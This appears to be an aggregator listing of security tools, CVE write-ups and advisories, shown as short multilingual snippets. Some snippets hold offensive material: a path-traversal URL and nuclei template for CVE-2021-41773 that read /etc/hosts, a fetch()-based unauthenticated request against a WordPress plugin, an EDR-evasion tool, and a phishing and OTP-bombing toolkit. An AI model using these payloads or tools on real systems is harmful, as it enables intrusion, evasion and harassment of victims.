xspawn

xspawn xspawn은 macOS에서 launchd를 통해 프로그램을 시작하며, 그 프로그램 자체를 exec하지 않습니다. 목적은 EDR이 이 도구나 호출한 셸이 아닌 launchd를 부모 프로세스로 기록하게 하는 것입니다. by cenobyte [email protected] 2026 https://github.com/cenobyte-vincit/xspawn 요약 xspawn은 xpcpipecreatefromportbootstrapport를 열고 launchctl이 사용하는 것과 동일한 비공개 XPC 파이프인...

CVE-2022-30780-lighttpd-denial-of-service

CVE-2022-30780 - lighttpd リモートサービス拒否 CVE-2022-30780 - lighttpd リモートサービス拒否 概要 認証されていない攻撃者が、最大 URL 長を超える URL を含む HTTP リクエストを送信することで、サービス拒否を引き起こす可能性があります。 影響を受けるバージョン 以下の lighttpd のバージョンが影響を受けます:...

hassh

"HASSH" - a Profiling Method for SSH Clients and Servers. NOTE: This Corelight repository was created so that it can be actively maintained, as per a request from Salesforce whose original repository is not being maintained. "HASSH" is a network fingerprinting standard which can be used to identi...

pipelock v3.5.0

Pipelock Open-source AI agent firewall forVerifiable Egress Control. !pipelock...

Django REST framework: AdminRenderer may disclose GET-protected data when rendering invalid write requests

Summary AdminRenderer may disclose data that would normally be protected by GET permissions when rendering a 400 Bad Request response for an invalid write request. If a view allows POST or another write method but denies GET, an invalid request rendered through AdminRenderer can invoke the view's...

GHSA-G47C-3XMW-Q6M2 Django REST framework: AdminRenderer may disclose GET-protected data when rendering invalid write requests

Summary AdminRenderer may disclose data that would normally be protected by GET permissions when rendering a 400 Bad Request response for an invalid write request. If a view allows POST or another write method but denies GET, an invalid request rendered through AdminRenderer can invoke the view's...

CVE-2019-8997

CVE-2019-8997 BlackBerry AtHoc의 Management System콘솔에서 버전 7.6 HF-567 이전에 존재하는 XML 외부 엔터티 주입XXE 취약점으로 인해, 공격자가 기존 필드에 악의적으로 조작된 XML을 입력하여 애플리케이션 서버의 임의 로컬 파일을 읽거나 네트워크 요청을 보낼 수 있습니다. 보고자 Nolan B. Kennedy nxkennedy 보안 권고 http://support.blackberry.com/kb/articleDetail?articleNumber=000047227...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts root@kitploit: id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex...

vet v1.19.0

Quick Start • Documentation • Community !NOTE vet supports special mode for Agent Skills. Run vet scan --agent-skill to scan an Agent Skill hosted in a GitHub repository. Why vet? 70-90% of modern software is open source code — how do you know it's safe? Traditional SCA tools drown you in CVE...

SocialEngineering

SOCIAL ENGINEER 🎯🕵️‍♂️ 피싱, OTP/이메일 폭탄, 가짜 메일 등을 자동화하는 강력한 소셜 엔지니어링 툴킷입니다 — @karthithehacker가 ❤️로 제작했습니다. ⚠️ 교육 목적으로만 사용하세요. 명시적인 허가 없이 누구에게도 이 도구를 사용하지 마십시오. 📌 기능 🎯 피싱 공격 – 자격 증명을 탈취하기 위한 가짜 로그인 페이지 시뮬레이션 🔢 OTP 폭탄 – 대상 번호에 OTP 요청 플러드 📩 이메일 폭탄 – 받은 편지함을 마비시키기 위한 대량 이메일 전송 📧 가짜 이메일 보내기 – 사용자 지정 스푸핑...

CVE-2025-11771

익스플로잇: 인증되지 않은 판매 기록 생성 브라우저 콘솔 root@kitploit: fetch'http://localhost/wordpress/wp-json/tokenico/create-sale-record', method: 'POST', headers: 'Content-Type': 'application/x-www-form-urlencoded' , body: new URLSearchParams networkId: "137", presaleKey: "TESTKEY1234", createdAt: StringDate.now,...

Security Bulletin: Multiple security vulnerabilities are addressed with IBM Cloud Pak for Business Automation iFixes for August 2026.

Summary In addition to many updates of operating system level packages, the following security vulnerabilities are addressed with IBM Cloud Pak for Business Automation released in August 2026. Vulnerability Details CVEID:CVE-2026-12590 DESCRIPTION: Impact: In body-parser versions prior to 1.20.6...

csrf_casdoor

Casdoor – 사이트 간 요청 위조 CSRF 요약 취약점: 동의 없이 비밀번호 변경을 허용하는 /api/set-password의 CSRF. 영향받는 버전: 소프트웨어의 모든 버전이 영향을 받습니다. 현재 패치된 릴리스는 없습니다. CVE: CVE-2023-34927 최신 CVE는 아직 할당되지 않음. 익스플로잇 작성자: Van Lam Nguyen. 테스트 환경: Windows 영향 피해자가 Casdoor에 로그인된 상태에서 사이트 간 POST로 피해자의 비밀번호예: built-in/admin를 변경할 수 있어 계정 탈취로...

Security Bulletin: Multiple secuirty vulnerabilies addressed with IBM Business Automation Workflow August 2026

Summary In addition to updating many operating system level packages, the following security vulnerabilities are addressed with IBM Business Automation Workflow released in August 2026.. Vulnerability Details CVEID:CVE-2026-11541 DESCRIPTION: IBM CICS Transaction Gateway for Multiplatforms 9.1,...

log4j-jndi-be-gone

log4j-jndi-be-gone Byte Buddy 기반 Java 에이전트로 CVE-2021-44228, 즉 log4j 2.x의 "JNDI LDAP" 취약점을 수정합니다. 다음 세 가지 작업을 수행합니다. jndi: 형식 문자열"lookups"에 대한 내부 메서드 핸들러를 비활성화합니다. log4j JNDI 시도가 있었음을 나타내는 메시지를 System.err즉, stderr에 기록합니다. 시도된 형식 문자열을 포함하며, 전이 주입을 방지하기 위해 $ 문자는 삭제됩니다. 전이 주입을 방지하기 위해 로그 메시지의 형식 문자열을...

CVE-2022-1421

CVE-2022-1421 CVE-2022-1421에 대한 개념 증명PoC Discy 참고 자료 https://wpscan.com/vulnerability/a7a24e8e-9056-4967-bcad-b96cc0c5b249 https://vulners.com/cve/CVE-2022-1421...

CVE-2017-9822

CVE-2017-9822 Десериализация Cookie DotNetNuke и удаленное выполнение кода RCE Версии DotNetNuke DNN с 5.0.0 по 9.3.0 подвержены уязвимости десериализации, приводящей к удаленному выполнению кода RCE. DotNetNuke использует cookie DNNPersonalization для хранения параметров персонализации анонимных...

Breeze Comet Executes Hundreds of Fraudulent Transactions via Brazilian Payment Systems

Brazilian financial services, retail, and e-commerce organizations have become the target of a financially motivated threat actor dubbed Breeze Comet formerly UNC5669 since 2024. Google Threat Intelligence Group GTIG and Mandiant teams described the threat actor as "specializing in manipulating...

SUSE CVE-2026-72445

In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: qcom: clear opened when stream enable fails On enable, subs-opened is set before the serviceinterval is validated; an invalid interval jumps to the response label without clearing it, so the substream is wedged a...

AiSOC

AiSOC 오픈소스, 자체 호스팅 가능한 AI SOC입니다. 에이전트의 프롬프트, 도구 호출, 추론 과정이 단계별로 기록되며 재생replay할 수 있습니다. MIT 라이선스. 커뮤니티가 유지 관리하는 데모tryaisoc.com는 Fly.io에서 실행되며 오프라인이 될 수 있습니다. docs/operations/live-demo-runbook.md를 참조하고 항상 사용 가능한 폴백으로 Codespaces를 사용하세요. !90초 AiSOC 제품 둘러보기 — 내장된 LockBit 3.0 사례를 조사하는...